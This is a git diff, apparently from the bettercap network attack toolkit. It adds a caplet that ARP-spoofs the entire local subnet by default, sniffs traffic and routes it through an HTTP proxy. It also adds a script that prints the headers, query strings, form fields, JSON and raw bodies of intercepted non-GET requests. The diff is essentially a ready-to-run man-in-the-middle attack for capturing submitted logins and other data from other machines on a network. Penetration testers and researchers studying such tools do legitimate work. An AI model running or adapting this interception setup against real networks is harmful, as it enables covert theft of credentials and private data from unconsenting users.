diff --git a/caplets/http-req-dump.cap b/caplets/http-req-dump.cap new file mode 100644 index 00000000..b8cde8fd --- /dev/null +++ b/caplets/http-req-dump.cap @@ -0,0 +1,21 @@ +# targeting the whole subnet by default, to make it selective: +# +# sudo ./bettercap-ng -caplet caplets/http-req-dump.cap -eval "set arp.spoof.targets 192.168.1.64" + +events.stream off + +net.recon on +net.probe on +sleep 1 +net.probe off + +set net.sniff.verbose false +set net.sniff.local true +set net.sniff.filter tcp port 443 +net.sniff on + +set http.proxy.script caplets/http-req-dump.js +clear +http.proxy on +arp.spoof on + diff --git a/caplets/http-req-dump.js b/caplets/http-req-dump.js new file mode 100644 index 00000000..6437b2f6 --- /dev/null +++ b/caplets/http-req-dump.js @@ -0,0 +1,147 @@ +var RESET = "\033[0m"; +var log = console.log; + +function R(s) { + return "\033[31m" + s + RESET; +} + +function G(s) { + return "\033[32m" + s + RESET; +} + +function B(s) { + return "\033[34m" + s + RESET; +} + +function Y(s) { + return "\033[33m" + s + RESET; +} + +function DIM(s) { + return "\033[2m" + s + RESET; +} + +function BOLD(s) { + return "\033[1m" + s + RESET; +} + +function dumpHeaders(req) { + log( "> " + BOLD(G("Headers")) ); + for( var i = 0; i < req.Headers.length; i++ ) { + var header = req.Headers[i]; + log( " " + B(header.Name) + " : " + DIM(header.Value) ); + } +} + +function dumpPlain(req) { + log( " > " + BOLD(G("Text")) ); + + var body = req.ReadBody(); + + log( " " + Y(body) ); +} + +function dumpForm(req) { + log( " > " + BOLD(G("Form")) ); + + var body = req.ReadBody(); + var parts = body.split('&'); + + for( var i = 0; i < parts.length; i++ ) { + var nv = parts[i].split('='); + log( " " + B(nv[0]) + " : " + Y(nv[1]) ); + } +} + +function dumpJSON(req) { + log( " > " + BOLD(G("JSON")) ); + + var body = req.ReadBody(); + + // TODO: pretty print json + log( " " + Y(body) ); +} + +function pad(num, size, fill) { + var s = ""+num; + + while( s.length < size ) { + s = fill + s; + } + + return s; +} + +function toHex(n) { + var hex = "0123456789abcdef"; + var h = hex[(0xF0 & n) >> 4] + hex[0x0F & n]; + return pad(h, 2, '0'); +} + +function isPrint(c){ + if( !c ) { return false; } + var code = c.charCodeAt(0); + return ( code > 31 ) && ( code < 127 ); +} + +function dumpHex(raw, linePad) { + var DataSize = raw.length; + var Bytes = 16; + + for( var address = 0; address < DataSize; address++ ) { + var saddr = pad(address, 8, '0'); + var shex = ''; + var sprint = ''; + + var end = address + Bytes; + for( var i = address; i < end; i++ ) { + if( i < DataSize ) { + shex += toHex(raw.charCodeAt(i)) + ' '; + sprint += isPrint(raw[i]) ? raw[i] : '.'; + } else { + shex += ' '; + sprint += ' '; + } + } + + address = end; + + log( linePad + G(saddr) + ' ' + shex + ' ' + sprint ); + } +} + +function dumpRaw(req) { + var body = req.ReadBody(); + + log( " > " + BOLD(G("Body")) + " " + DIM("("+body.length + " bytes)") + "\n" ); + + dumpHex(body, " "); +} + +function onRequest(req, res) { + if(req.Method == 'GET') + return; + + log( BOLD(req.Client), ">", B(req.Method), req.Hostname + req.Path + ( req.Query ? "?" + req.Query : '') ); + + dumpHeaders(req); + + if( req.ContentType ) { + log(); + + if( req.ContentType.indexOf("text/plain") != -1 ) { + dumpPlain(req); + } + else if( req.ContentType.indexOf("application/x-www-form-urlencoded") != -1 ) { + dumpForm(req); + } + else if( req.ContentType.indexOf("application/json") != -1 ) { + dumpJSON(req); + } + else { + dumpRaw(req); + } + } + + log(); +} diff --git a/modules/http_proxy_js_request.go b/modules/http_proxy_js_request.go index 384de221..59446115 100644 --- a/modules/http_proxy_js_request.go +++ b/modules/http_proxy_js_request.go @@ -17,6 +17,7 @@ type JSRequest struct { Method string Version string Path string + Query string Hostname string ContentType string Headers []JSHeader @@ -42,8 +43,9 @@ func NewJSRequest(req *http.Request) JSRequest { Client: strings.Split(req.RemoteAddr, ":")[0], Method: req.Method, Version: fmt.Sprintf("%d.%d", req.ProtoMajor, req.ProtoMinor), - Path: req.URL.Path, Hostname: req.Host, + Path: req.URL.Path, + Query: req.URL.RawQuery, ContentType: cType, Headers: headers,